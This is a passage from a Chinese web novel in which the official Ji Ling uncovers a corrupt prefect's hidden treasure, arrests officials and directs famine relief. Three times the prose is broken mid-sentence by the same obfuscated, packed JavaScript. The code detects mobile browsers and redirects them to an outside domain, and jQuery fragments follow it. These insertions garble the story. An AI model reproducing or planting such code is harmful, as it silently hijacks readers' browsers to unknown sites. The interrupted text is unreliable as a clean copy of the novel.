暗香浮动,他喊了两声同伴,连应答的风声也无。他只好走近,仍带着几分戒备,背靠着墙,屈膝错腿,一步一回头,摸索到门槛处。 未等他分辨那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446348|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轮廓之后的脸究竟是生是熟,一阵烈风从外窗廊柱下卷来,来人所持是一柄软剑。软剑如蛇,灵活异常,破开他的直裰下摆,又欲前进伤他双臂。来人步步紧逼,想要近身。他却一时分辨不出来人的意图。若是软剑,近身咫尺,不好施展,反倒受制。 巡卫火光在荒院墙头缓缓移动,忽明忽暗。 软剑锋利,他身无利器,只能勉强闪避。 终于,他连连退至院中,被来人寻了空子近了身,探手往后一摸,一根枯树枝落入其手。 他挥手一挑,猛然瞪大眼睛:“季…” 话音未落,手帕中扬起的气味侵入喉腔,他眼前一黑,晕了过去。 季泠收了剑,踹了踹地上的姚知府心腹,一时半会儿是醒不过来了。 姚知府身边还真是卧虎藏龙,若非她打他个措手不及,还真未必能顺利制约。 不过,多亏刚刚几招,这心腹频频将她带离那屋子,那她更能断定,那屋子里有她想要的东西。入门时,季泠再度看了倒在外窗边的人。这两人定是姚知府十分近身的同谋者。 可无论多么近身,姚知府断然不会将自己保命的东西轻易示人。 屋中陈设简陋,大体布局与正常书房相差无几。季泠视线掠过耳房陈设,焦急思忖着。 凌泉说,这迷药只能顶两柱香的时间,她必须速战速决。 季泠走到书架旁,一层层仔细摸过,全是普通的藏书。长方书案上仅有一些不重要的文房用具,以及一些姚知府练字的残迹。 这些东西太明面了,若是证据,断然也不会如此显眼。 季泠转身,盯着满墙陈旧字画,寻找特殊之处。 她在公主府训练时学过机关暗门,后来无论是替公主办事,还是暗寻钱党证据,都曾遇过类似情景,怎么说也算是经验丰富了。 通常来说,官员要存放自己的私物,必然会设置一个方便顺手,但可障眼的地方。 季泠踱步于长长的书架前,书架对面的香案上放着许多香炉,香炉上挂着三幅佛像画。画的边缘被烟熏出了色,有些泛黄了。 泛黄……季泠盯住最右侧的那副观音像,香炉靠中,熏烟该是把那副画的左下角熏黄才是,可为何,左下角的颜色比中部的颜色略淡呢?那就是有人会摸左下角。 若是惯用右手的人,掀开一幅画,定然是右手先行。而她方才随意略过的那张长方书案上,所有的文房用具都准确无误地摆在右侧。 这本没有错,可镇纸也压在右手侧。 若是常人右手执笔,则是左手拿镇纸,这才符合习惯。 姚知府是左撇子。 一撇笑迅速从她嘴角划过,季泠小心翼翼地掀开那副画,木墙上的缝隙都属正常,但就是正常,才容易做文章。 机关定不会设的太远,差不多就是面前的几个香炉了。 香案上有两只博山炉与一尊佛像。博山炉旁的那尊紫檀佛像上有一层薄灰,博山炉的底座与炉身无比干净。 两只手同时探向两只博山炉,左侧那只被她不小心推动,发出细微的摩擦声。如此一来,能够看清,博山炉周边的香案有淡淡的尘灰,恰好是月余未仔细打扫该有的尘灰,远淡于那尊佛像。 她小心翼翼地将那座博山炉推回原位,终于发现可疑之处。 那副怪异的画下,右侧的那只博山炉,推不动。几乎如同钉死在香案上。 季泠再欲推一把香案,仍是推不动。那便是了,就是这只博山炉。 她立刻打开那只香炉的盖子,无甚特别之处,转也转不动。 自古以来,机关不过那几种,原理大致相似。推挪不动,那便只有放些什么进去,戳中其中的机关了。 果不其然,香案桌下的小屉中,有一套打香篆的工具。香匙、香箸、香铲、灰压、羽扫、香篆。季泠一件件摸过去,又倒着摸回来,在其中顿住了手。灰压底下有独特的凸起纹路。 不再多思,季泠立刻将灰压探入博山炉中,木墙上传来轻震之声。 观音画后,两道木墙裂隙间,出现了一个凹槽,里头赫然是一只大匣子。 时辰不多了。她再不必思考,当即掏出方巾,将匣子内大所有东西都放入方巾中,系成包袱,在身上绑了个他人无法轻易扯下的活结。 将一切恢复原样后,在两人堪堪醒来的前一步,季泠疾步走出房中,在外窗处停留下来。 真是计划赶不上变化!她本是带了凌泉给的迷药,想着迷倒他们,她趁空搜寻一些东西即可。 也是她未能做足准备,随意选了煎药女使的身份进城,不过一缕头发扬起,就被两人眼尖发现。 既然发现了…… 那么…… “走水了!走水了!” 荒院火势骤大,槐花洋洋洒洒,黑影再次越墙,在月下瞬移不见。 87. 荒院枯井一网打尽 火势渐缓,黑烟腾绕,晨雾见山,东方初白。 东西双向而来的快马在季泠营帐前同时勒住缰绳。 季泠接过方时迁托阅云带来的回函,略看了两眼,转瞬就不在意般捏着信角,随手烧了。 “哦?走水了?” 前来复命的的锦衣卫看着那张纸在季泠手中化成灰烬,咬咬牙,愈弯了腰,道:“回季大人,昨日上半夜烧起来的,荒院的主屋已经烧塌了。” “这么严重?”季泠倒是很平静,仿佛早有预料,“可有伤亡?” “死了两个人,无人受伤。” “那你们这火,救的真不及时。”回话者顿感压力,腰间配剑沉重,右膝被拽得坠落了地。 “上回压粮,似乎也是你手下那两人办事不力。” “…是。” “你说,屡次办事不力,该如何惩治?” “领五十棍,停职一月。” “耽误赈灾之事,又酿成两桩命案,仅仅如此?” “季大人……这……”季泠不再耽误功夫,起身经过他时,淡淡下令:“阅云,派人通知越大人,将那两人革职,押送回京,等候发落。”语罢,又瞥了回话之人一眼,“你本该受连坐之罪,现下给你将功折罪的机会,带上人,随我进城。” 姚家后院,所有人都被驱赶至一处,孩童哭泣声,妇人惊慌安抚声,奴仆求饶声,桌椅碗盏推挪跌落声,四面八方,热闹非凡。 季泠跨过垂花门,见此混乱,不禁皱了眉。 供她驱使的锦衣卫人数不多,要借此机会清查姚家,她需要府衙与徐行的人手辅助。 可,三拨人马凑一块儿,各为其主,各怀心思,场面难免失控。 尤其是府衙来的衙役,进了后院,见了财宝,眼睛放光一般,若不是边上还有几个锦衣卫盯着,怕是都要把主院洗劫一空了。 为首的妇人护着年轻女子与她怀中稚童,正被府衙之人反扭了手压着,发髻凌乱,连她鬓边那只桃花簪都快要倾斜坠落。 在冰冷兵甲的碰撞声中,她看见那抹青影。“季大人!”姚夫人如见冬云夏雨,情切切喊她,见季泠看过来,欣喜扯出笑容。 可等季泠走近,她只得到她片刻的关注,转瞬后是冷淡的无视。而这位她以为可以笼络交好的青年官员,身后浩浩荡荡跟着数十人,无一不俯首帖耳,恭敬有礼。 此情此景,一位官眷就算再愚钝,也能看出几分门道了。她那只桃花簪,赠得太早了些。过几日,怕是就要成为这官员威胁她夫君的利器了。 季泠转而看向钳制着姚夫人的衙役,微笑一下,立刻又恢复冷峻,淡声道:“松开。” 新官上任三把火,他们这些衙役要表示忠心,最直接的方法就是对旧主落井下石。 “季大人,这…”衙役犹豫不定。这可是姚知府的夫人,拿捏住她,岂不是轻而易举就拿捏住了姚大人?这京城来的季大人是没脑子吗? “不要大动干戈。”姚夫人眼中带泪,横手挡在年轻女子与孩童身前,张望着什么。下一刻,她眼中惊慌骤变。 四个苍蓝色窄袖长袍的侍卫压着一年轻男子,从后院走来。 “季执庸!” “夫君!” “儿子!” 三声呼喊同时想起,季泠面无表情,对上姚知府之子的怒眼。还真如她所料,姚夫人早已安排好他的儿子,可惜了,武昌府就这么大,要抓他,轻而易举。 既然一家已经团聚,那她就放心了。 “全部分开,关到偏院去,三步一人驻守,蚂蚁也别爬出去一只。” 姚知府之子大怒,拼命挣脱侍卫,却徒劳无功,只能厉声质问道:“季执庸!你不过一介主事,有什么资格来关押我们!我父亲不会放过你的!” “你父亲?”季泠嗤笑,还未回复他,又听见一声高呼,“季大人!”季泠挑了挑嘴角,武昌府的角儿都齐了。 曲通判带着另一队衙役,声势浩大前来拦截。 曲通判朝她略行了礼,倒是能稳得住,季泠不欲落人口实,也以同样态度回了他礼,才正了身子,随即抬手示意:“关起来。” 曲通判装饰许久的面皮陡然破裂,不免露出几分不满:“季大人这是何意?武昌府衙可没收到处置姚知府的命令,您怎能擅自押人?” 此言一出,看管姚家人的衙役面面相觑,不由松了手,让姚家人得几分喘息的空间。 是啊!她说要人就要人,说抓人就抓人,黄同知就那么点了头,却也无人给他们这些衙役一个正当明确的逮捕文书。这京城来的季大人是想干什么? “曲通判,消息倒是及时。”季泠上前一步,不矮他寸厘,气势自然也不弱他分毫。他身后一队衙役,而她身后三纵卫队,更是压他几分。 “不敢,只是,季大人可是奉诏前来赈灾的,莫要擅自插手武昌内部事务。毕竟,您才上任,湖广司中,仍需老人坐镇,不是吗?” “哦?曲通判这是在,威胁本官?” 曲通判笑笑,看起来十分无害:“不敢,下官虚长季大人几十岁,自然见过的世面也多几分。季大人想在武昌占山为王,可也不该操之过急。” 季泠笑意愈甚,眼看着她这方的衙役渐生出退却之意,冷静地从袖中抽出一份东西。 “武昌府衙自然收不到姚知府的命令。”季泠慢慢摊开文书,白纸黑字,曲通判陡然色变。 “素闻曲通判通识人心,如今一看,果然如此,知道本官赈灾累日劳累,不需本官再费力,自己倒是老实地送上门来了。” 双手抖动两下,文书彻底展开,曲通判,他身后的衙役,季泠身侧的姚夫人与姚少爷,姚少爷身后的徐家亲卫,全部都将公文上的字看得清清楚楚。 那是盖了巡抚官印的逮捕文书,以赈灾不利与税银贪污之名,抓捕一干涉事人等。曲通判与姚知府,赫然在列。 “徐大人不是在承天府吗!你怎么拿到的巡抚手令!” 季泠慢条斯理地将手令折起,优雅放回袖中,看了众衙役一眼。她这方的衙役有了这纸手令作底气,雄赳赳冲上前,压下了曲通判。 今日这事实在顺利,季泠心情大好,转身准备往前院走去,苍蓝色亲卫、香色锦衣卫、褐黑色衙役为她让出一条大道。 “干你屁事。” 阅云跟在季泠身后,瞧见苦苦等待回复的曲通判与姚家人如吃了苍蝇般,脸色难看至极。 由清晨前来回话的锦衣卫带路,季泠再度来到荒院之中。倒是真如他所言,主屋都烧塌了,残垣断壁之前,横着两具盖着白布的尸体。 季泠捡了一根树枝,挑起白布。身后亲卫面露诧异,看了看那枯枝下焦黑的死尸,再看了看皱眉的季泠。 这季大人,竟然不怕。 阅云也略显惊讶,越步挡在季泠身前。若是他的少爷知道季泠看见这样肮脏可怖的东西,兴许会觉得他未能尽到周全护卫之职。 季泠扔了树枝,无所谓般走到那烧空的主屋。确实是那两人没错,若不能亲眼所见,她可无法安心。 主屋中,那书架与佛像都已经烧毁,连带着藏着隐秘的隔板也化为灰烬。火可真是好东西,能将一切秘密都巧妙掩盖。 跨出门槛,季泠掸了掸黑灰,院中众人看着她,忽觉这位青年郎中,兼具崇山峭拔之姿与汪洋放恣之魄,清峻青袍染瑕,为她添上可交付十足信任的切实感。 “可查出来是因何失火了吗?”季泠问的仍是清晨来回话的那锦衣卫,姓金,行第为四,现任锦衣卫一小旗,手下管辖十人,五人负责此次的姚宅守卫。 金四答:“这两人当夜应该是潜入荒院寻找什么东西,门窗大开,吹落烛台,主屋皆是易燃之物。”回话时,声音不免紧张,频频偷觑台阶上的季泠。 季泠点点头,只道:“回去后写出一份可以交差的结案文书吧。现在,用上你的脑子,别再惦记此事,协助我查更重要的事情。” 金四愕然,抬头看她。他原以为,季泠会因此案大怒,进而发落了他。未曾想,她真让他将功折罪。 可,什么是比两条人命更重要的事情? 季泠站在槐树下抱胸沉思着,火烧的干燥还未散去,众人静待她的下一步动作。 她那日去库房,见到的银子,比她想象中少太多了。 姚知府连家宅都要设计成元宝状,又肯冒此风险,替京城那位敛财,绝不可能只有这么点银子。姚家上下都搜遍了,没有可疑之处。唯有这出荒院,烧了主屋,却似乎仍有隐秘。其余的银子,究竟藏在哪里呢? 季泠在树下缓慢踱步,清风徐来,槐花飘落。 细雪飞扬般,数朵落于她肩上。季泠下意识伸出手去接,槐花从她指尖擦过,坠入身旁的枯井之中。分神看去,几乎瞬间,她想到一个从未预想过的可能。 季泠立刻走到井边,俯身看去,却被金四拦住。“季大人,小心。”那口井很深,季泠若是不慎跌落,那可无法生还。 “救火之时,属下看过这口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446349|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 井,是枯井,深度至少有十米,您不要靠近。” “枯井?”可她看见槐花沾在那井壁内。下头分明有水。 不过,金四所说枯井,估计是指这死井不通活水。 思考之间,她闻到一股异味。也是在方才金四拦她瞬间,她才隐约闻到。 不是火烧味,不是花香味,更不是夹杂在其中的、荒院的那股子朽木味。而是……她初到大合乡时,那杯子里的味道。 随地捡一颗石头投入井中,传来一声嘭响,随即是一阵石头入水声。 井下有东西。而且,不止一个。 季泠一笑,回头挥手,“金四,阅云。”两人应声,只听她下令道:“捞。” 日头西移,金光落庭。季泠在满院金子中巡回,捡了一片落叶,沾上隔水油布的水渍,置于鼻前嗅了嗅,还带着枯井中的异味。 所有人都僵着身子,不敢让手上与身上沾染的井水再触及周身皮肤。他们都知道,那水的味道代表什么——是泡过腐尸的水。 片刻后,季泠早派出去的人回来了,身后跟着的,是凌泉与真正的煎药女使。 “凌大夫,把药给他们吧。”季泠吩咐完,转头看向打捞的六人,“去吧,用药洗一洗,不要染病了。” 阅云命人抬来了水缸,凌泉将解毒药洒入水中,供众人盥洗。 井中打捞出来的,除了装满金子的数个油布袋,还有一只木头匣子。 “阅云。” “属下在。” “剑。” 阅云双手奉上,众人就见季泠借剑鞘敲了敲木匣。匣中装着的,足有数万两银票。这足矣掩盖一切。下一刻,她提剑劈下,木匣破裂,掉出一把钥匙。 “清点好赃物,拿着这把钥匙,上至祠堂花厅,下至伙房地窖,全部搜个干净。” 至此,姚知府之罪,由她带着三方人马,亲自敲定。 日落月升,众人暂歇在姚知府家中。 晚膳端上来后,阅云送进厢房中,灯火葳蕤,季泠正执笔于案前,万籁俱寂,仅留笔尖划过纸页的细动声。 “季大人。”阅云验了毒,将木盘搁在圆桌上。季泠来湖广也不带个贴身侍女,如今徐行将她托他照顾,可他怎么做,似乎都有些怪异。说多了,季泠不悦,说少了,徐行不满。 季泠嗯了一声,不曾抬头。待到结词落笔后,晾干了文书,一抬头,阅云仍杵在圆桌旁。 “你想问,那幅手令,还是想问,那两具尸体?” 阅云踟蹰许久,不曾料到他的心思被季泠轻而易举地宣之于口。 季泠舀了汤,慢悠悠吹着,阅云恍然觉得,她确实是自家少爷带出来的好学生。 “属下更想问,您是怎么知道,那荒院与枯井的隐秘?” 季泠空降户部,此前从未接触过刑狱之事,入户部后掌管户籍财税,为何能够一击即中?他总觉着,这位户部郎中,他少爷昔日的学生,如今放在心中的人,身上藏了许多秘密。 “堂堂一个武昌知府,家中宅院被鬼神之说缠绕十数年,无人敢靠近,他不处理,反将此事弄得人尽皆知。那两人,是他的心腹,偏死在这荒院之中。不够可疑吗?” 季泠慢条斯理,一口口喝着羹汤,仿佛是什么人间美味。武昌府经旱灾月余,外头粮食短缺,连带着他们这些赈灾人员也难食佳肴,不过是日日以粗面粝饼果腹。今日来了姚家,才发现这儿鸡鸭鱼肉样样不缺,虽然封禁,可这姚家人倒是好不逍遥。季泠也得幸,终于吃上一碗肉羹汤,面色都红润了些。 “荒院枯叶众多,房屋老旧,寻常人进去,第一步闻到的就是潮朽味。枯井旁,种了许多槐树,武昌往年多雨,雨打花落,香气愈浓,如此更能掩盖那口井的异状。这几手仍不够,姚知府惜财,怎舍得钱财被人觊觎?怕是我一来武昌,他就紧张至极,再次查看了这批赃款。走得紧急,连用来解尸毒的药水都没来得及处理,你应该也看见了。” 井后那只水桶里,经过一月,水几乎干涸,底部沉下许多白晶,那可不是正常的水能沉淀出的东西。 他看见了,可他没想到的是,她不仅注意到那只平平无奇的水桶,还注意到他只停留一息的眼神。 “您,比我想象中的,要厉害些。” 季泠忽然笑了,手中晾凉的汤羹在颤动中溅落。 “哐当”一声,勺子跌回碗中。 “阅云,”季泠撑头看他,“我只是年纪比你们小些,读过的书,见过的世面,并不比你们少。” 88. 其雨其雨杲杲出日 阅云抿嘴,略有几分尴尬。 他实在是不擅长与季泠这样的人相处,喜怒无常,狡猾多变。在徐家是一个样,在朝堂是一个样,在大合乡又是另一个样。 他不知道,这位季大人,少爷昔日的学生,究竟有多会伪装,又究竟对徐行有几分真心。 武昌府衙内,季泠坐在黄同知对面,下首是一众武昌官吏与季泠的随行官员侍卫。 过去几日,她随黄同知去了武昌其它县乡跟进巡视,府内灾情已经得到控制。 意料之中,疫病还是传到了大合乡外,好在凌泉领着众医官防范救治,情势尚在可控范围内。黄同知虽沉默寡言,可在拨粮赈灾时指挥安排有条不紊,倒也叫季泠安了下心。 合上新来的灾报,季泠给了最终决断:“武昌府内,先参照往年府志中的做法,设立赈农仓,我已与各位前来赈灾的同僚与巡抚大人去信,汇总了各州府灾况,依照灾情轻重拨粮。” 闫有德与贺晋环在蝗灾时联合姚知府私调武昌储粮,意图瞒天过海,此事已在武昌传开。 是而,她调来的赈灾粮食自下达调仓文书起,全程放由各路人监察着,责任划分清晰,但凡压守过的人,都必须签名按印,以便下一程接手之人核对。自然,她也不例外。 首批粮食到达武昌府时,越山掏出一沓子押签文,着实是让众人目瞪口呆。以至湖广其它州府见此,也不得不硬着头皮效仿,以免众口铄金,议论不施此举之徒怀藏异心。 虽不能完全避免贪污,至少也不至于让起运的粮食被过分盘剥。 长桌尽头,有一官员措辞许久,鼓气开口问道:“季大人,我们武昌后续可得赈济粮食约有多少?” 季泠答:“三十万石。” “三十万?”这个数字,让所有人,包括黄同知都万分意外,在季泠预料之中,场上官帽下压着的十多条眉毛全皱了起来,相互找着临近的人交谈,又都不约而同地看向她。 一位方脸平嘴的官员道:“季大人,三十万石,未免太少了些吧?武昌府人口众多,三十万石,才够支撑多久?” 眼下灾情暂缓,他们这些京城来堪核灾情的人大可以一走了之,可他们是一府的官员,掌数十万百姓的生路,怎能不为此着急? 想到此处,许多资历甚高者不免带着不满的审视打量季泠。 季泠靠着椅背,扫视全场,一双深黑明眸,划过每一位官员脸上微动的细节。 姚知府坐镇武昌多年,即便如今落败被抓,可人心变动何其难判。 在场姚知府旧臣,谁人不欲掺入党争之中,谁人因利明面寻求靠山,谁人对其誓死效忠,又有谁人如曲通判一般,已成为同谋之一。这一切,并非泾渭分明的不可变动。 季泠笑了笑,转而看向黄同知,和善问道:“黄大人怎么看?” 黄同知微微颔首道:“季大人奉诏前来赈灾,已为武昌数十万百姓延续月余生机。百姓们不可能靠赈灾粮再度数月,地力恢复,农事开展,虽靠天时,人为也不能少。” 有人道:“如何人为?旱灾并非水患,无水地裂,百姓们如何恢复农事?无农事,则无衣食可养。赈灾粮不足,多地动乱,我们如何担待得起啊!” “季大人当日不是为大合乡亡者求了平安符,以慰在天之灵吗?我们自然也可以求神佛庇佑,祭天求雨。” 祭天求雨,实不失为一个妙招。堂中众官吏就此一言一语讨论开,直至有一道异声灭了他们的热情。 “灾者,天之谴也。”季泠看向那位说出祭天求雨的官员,淡淡吐出六个字,他瞬时变了脸色,欲发作时,瞥了一眼黄同知,又恨恨压下。 “季大人此言,是为何意?”他反问季泠,拍了桌案,虽没有惊堂木的气势,案上略微震动的文书纸叠替他表露几分不满。 “难道说,湖广大旱,武昌疫病,都是我等为官之过吗?” “我可没说。” “你!”季泠身后的阅云站起,反视推椅发怒之人,这是他职责所在,也不免心生不悦。 武昌并非她的地界,也就仗着姚知府与曲通判被捕,武昌府内没有与她势均力敌之人,才敢如此放肆,与地头蛇对上。 “众位何不来梳理一下起因?”季泠伸手,阅云会意,递上了徐行压印的处置公文,大剌剌摊在桌上。 “过去一月有余,旱灾疫病兴盛,各位的心也不安吧?姚知府与曲通判究竟去哪儿了?真正的罪名又是什么?是否会牵连到场上的某位?”季泠一笑,站起身,从一位位身后走去,所有人如芒在背,只能盯着案前那盖了吏部大印的公文。 “我季执庸,虽然年轻,可掌湖广司事务,少说也有三年。诸位高低也是听过我的名字,知道我的行事风格。我不喜欢拐弯抹角,也不喜欢一心二用。” 说到此处,有几人觉得,季泠经过自己身后时,似乎停留的时间略久了些,或是说话的语气变重了几分。这究竟是有心还是无意,也没人说得准。 “先是河南蝗灾,河南司主事先是瞒下灾情,后又暗度陈仓,业已定罪。再是姚知府与曲通判,将武昌粮仓的储粮卖了人情,送去河南。” 此时,季泠看见,最末位几位官员露出讶异之色。 “此为姚曲二人第一罪。” 季泠站在两位推官之后,定了定神,问了他们的名字。二人惶恐不已,起身报名。季泠却在笑间压下他们双肩,让他们好生坐下。这样一出,倒叫人分辨不出她究竟是何用意。 “第二桩罪,则是他们倒卖陈粮,谋取私利。” “第三桩罪,在起送粮的漕船之上动手脚,借船难一事,私吞漕粮。” “第四桩,意图谋害锦衣卫指挥使,藐视天威。” 四桩重罪,从尾至首,武昌众官脸色如潮汐跌宕,最后尽数消散在黄同知了然于胸的镇定中。 阅云跟在季泠身后,将一切尽收眼底,又偏眼看了看这位季大人,她继续开口,字缓句沉,不大像一位二十出头的女子。 “如此恶行,下欺地方百姓,上瞒朝廷百官,天之谴,降灾于武昌,不过顺道而已。” 末尾者却叹:“可,百姓何辜啊!为何要为他们的过错受罪!” 季泠转回了自己的位置,却没有落座,只是转身看向那张武昌舆图。 是啊,百姓何辜。 她以此言,也不过是想利用人心罢了。到头来,却把自己算计进去。 十数人,青绿成林,齐齐看着季泠的背影,想要等待她的下文。 武昌的天灾人祸,他们一应论罪,京城与地方,消息流通如隔天堑,他们要抓紧绳纽,救民也好,救己也罢,甚至是攀向那两个致命诱人的空缺。眼前的人,是他们唯一的指望。 “所以,现在,你们要赎罪了。”她的声音像一阵风,恍惚如雾,飘摇无形,吹向那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446350|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片绿林。 赎罪之法,可追先人经验。黄同知领人着手制定了灾后重振定则,除招募灾民担水运粮外,还依照季泠随行的工部官员建议,修渠通河,定下各处乡县湖河林木应有亩数。由官府以粮招人开了新地,补给那些原来侵占河湖耕田的农户。 此则稳行一旬后,又添了赈贷粜米等细则,以免灾后粮价高居不下,伤了小民根本。 黄同知将定则交给季泠审阅时,季泠只道:“将领粮、以工换粮前面的一家之长这四个字给我去了。” 黄同知过了一遍心,揣度问道:“季大人的意思是,灾民皆可?” 季泠点头:“不拘男女老少,大灾将缓,若是你以一家之长定数,那怕是一半人家都无粮了。拿着黄册,分配到各乡镇去,以领粮之名召百姓前来,只需一轮就可核定此番受灾存亡人数,还可将黄册重置一番。不便出行的灾民,让乡长里长上门去,务必核实,不可作假。” 武昌迎来今岁第一场雨时,季泠已经定下了启程回京的日子。 府衙廊边,雨如银丝,缭绕四周的,是官民齐呼的渴盼欢欣。 金四前来禀报时,就看见季大人伸出手,雨重重砸在她捧起的手心,一窝小小的泉,倒映着淡淡的笑。 她那双在武昌翻云覆雨的手,终于助百姓迎来真正的希望。 “大人,黄大人等人邀您今夜赴宴。” 季泠应下了,收回手,残雨顺着她的指尖滴落,沿着长廊,积水成渊。 “金四,今年几岁?” 金四握着佩剑,粗粝的指头摩挲着剑身的锦衣卫图腾,回答道:“禀大人,卑职今年二十一,入锦衣卫三年。” “十八岁,就入了锦衣卫?” “卑职已经算年纪较长的,锦衣卫会从地方选取孩童,入麾下培训多年。” 季泠看向他,确实是年轻模样,哪怕入了锦衣卫三年,仍是带着少年人的腼腆与局促,连回她的话,都从不曾抬头。 “三年,做到小旗,算是不错的。”她的声音被雨声冲淡了一些,金四略微抬了头,只看到她的嘴角,就不再继续向上了。 “将来,可以做总旗,百户,千户。你的未来很光明。” 光明……这样充满力量的两个字,再大的雨声也掩盖不住。 “既然如此,你该有个好名字,才配你的万里鹏程。” 金四后撤一步,单膝跪地,仍握着剑,等待她的后言。 “你觉得,杲字,如何?” 金四终于越过那条线,斗胆仰面,迎上季泠的目光。 他第一次看清这位季大人。 从前,他从别人的口中听到她多次,后来,受越大人之命,为她办事。 他猜测她是什么样的人,凭借她的声音,她挥起的大袖,她不容置疑的质问,她漫不经心的回怼,她超脱阡陌边界的一切举动。 而如今,夏雨磅礴,溅起九天飞湍的白雾,她的青色官服深深浅浅,泼得氤氲痕痕,他看清了她的模样。 眉似山脊木林蓊郁,眼如汪洋掀风扬浪。 季大人低眼看他,带着同辈人的欣赏,带着高位者的赞扬。 她说:“其雨其雨,杲杲出日。金杲,是阳光普照之意。” 金杲没有低头,廊外雨中放晴,那是难得的美景。 金色光线在雨中晕开,濯出虹光,最终如百川入海,汇于她利落的鬓发中。 89. 憾忆往昔之望暮云 雨夜泥湿,季泠乘车出了武昌府。 黄同知为首,后随武昌一众官吏,巍峨城阙前,十数把棕黄油纸伞在雨中静默着,漫天风雨,平地伫林,只送一人。 金杲在送行数十步后,带着一队人马返程,截住了将散的武昌官员。 “季大人说,先前因武昌灾情迫在眉睫,饷银贻误,却仍烦各位劳碌数月,实在辛苦。今承圣意,补发官员皂吏薪俸。而诸位的赈灾之功,季大人将会如实上禀。” 金杲朝黄同知等人抱拳一拜,再抬眼时,只见那十数双晦暗眼眸在他身上停留片刻,又越过锦衣卫的香色曳撒,望向那架迎雨东去的灰布马车。 季泠回到了大合乡,夜雨骤歇,有几块地已经恢复干爽。 走向营帐时,忽闻振翅声,昏头昏脑时,还来不及思考,季泠已经下意识抬步绕过营帐。 循声望去,阅云还未来得及收回手,一只海东青从他臂上飞起,在高空中盘旋须臾,最终向南飞去。 阅云转过身,就见季泠歪头看着他,抱手等待他的回复。 也罢,他是逃不掉的。 阅云走上前去,季泠身上的酒味很重,他少见得皱了眉。 饮酒伤身,他们随了徐行,守养身之道,极少饮酒。季泠怎么如此没有分寸,与一众武昌官员酗酒不说,还在深夜醉醺醺地回来,身旁竟是一个人也没有。他就不该听她瞎指挥,把他留在大合乡负责整顿。 “季大人,后日我们该离开了。您不该喝这么多酒,明日还有许多事情要善后。” 季泠似乎醉大了,双眼迷茫着,阅云退后一步,偏开了头。 “什么信?” “少爷来的。” “我看看。” 阅云眼疾手快,塞进了怀中。季泠猛的抬眼瞪他,他只装做看不见。 季泠转了转脖子,随意找了一棵树靠着,突然出声说:“阅云,我知道,你对我不满。” 阅云低头,“属下不敢。” 季泠无所谓般笑笑,含着醉意的声音粘稠了几分,颇为不羁。“你听,你说的是不敢,而非不是。” 阅云抬头,便看见季泠似笑非笑地看着他,他陡然心虚起来。之前他只觉得,这位季大人脾气大又闹腾,这样的人做了官,要不了几年就会被人害死。 可根据她这一月的行事手段看来,原是他想错了。他就说了四个字,都能被她揪出错处。 季泠四处摸着,终于摸出一方帕子,扫了扫地上的尘土,大咧咧坐下,努努嘴让他也坐下。 阅云摇头道:“属下不可与您共坐。” 季泠嗤笑一番:“得了,别装了,你家少爷又不在,一个大男人,叫你坐你就坐,别扭什么。” 阅云立刻坐下,却仍低着头。他看着地上的尘沙把季泠的衣袍弄脏了,带着潮意的泥土黏附在袍缘与皂靴上。 “当年,在建州的时候,你家少爷身边三人,独你不在。” 阅云在沉默中点了头,这件事他早已告诉过季泠原委。 阅云看出,季泠应当是在湖广压抑了许久,眼下趁着醉意,就想逮人聊天,她面对自家少爷是如此,面对览风也是,话总说不完,聒噪的很。没想到他也沦落至此,今日回去,耳朵必然长茧子。 “所以,你不了解我,不喜欢我,也很正常。我也不是很喜欢你。”季泠察觉到阅云的视线,无甚在意道:“当然,我也不讨厌你就是了。只是比起览风,你多少有点无趣。” 阅云暗道,览风看你就如同看少爷的眼珠子,自家的小崽子,你当然觉得他有趣。 季泠继续说:“不过,我不理解的是,你对我不满,替我做事倒是利落又尽心。” “你不觉得难受吗?” 阅云木然,“职责而已。” 季泠啧了一声,换了一边脸贴在膝头。“真奇怪,你跟览风不是兄弟吗,他那么慈祥,你为什么总是臭脸。” 季泠嘟囔着,阅云却突然笑出来。若是百里之外的览风知道,有人用慈祥来形容徐大人身边第一近卫,必定叫他大惊失色。 季泠仿佛看到铁树开花了,大叫道:“阅云!我认识你三年,第一次见到你笑啊!我还以为你不会笑呢!” 那张终年冰封的脸皮终于裂了一条缝隙,让季泠更加得寸进尺。 “欸,你跟我说说,你们这些近卫平日里都做些什么呗。” “季大人想听什么?” “嗯,什么都可以,比如你们如何与少爷传信的,少爷怎么给你们安排任务,你们怎么总是那么顺利完成,你们的俸禄有多少,为何如此卖命,地方中央是如何布暗线的,又是如何收拢人心,还有啊,你们到底怎么做到消息那么通达,事情前脚发生,皇上都不知道,你们就有消息了……” 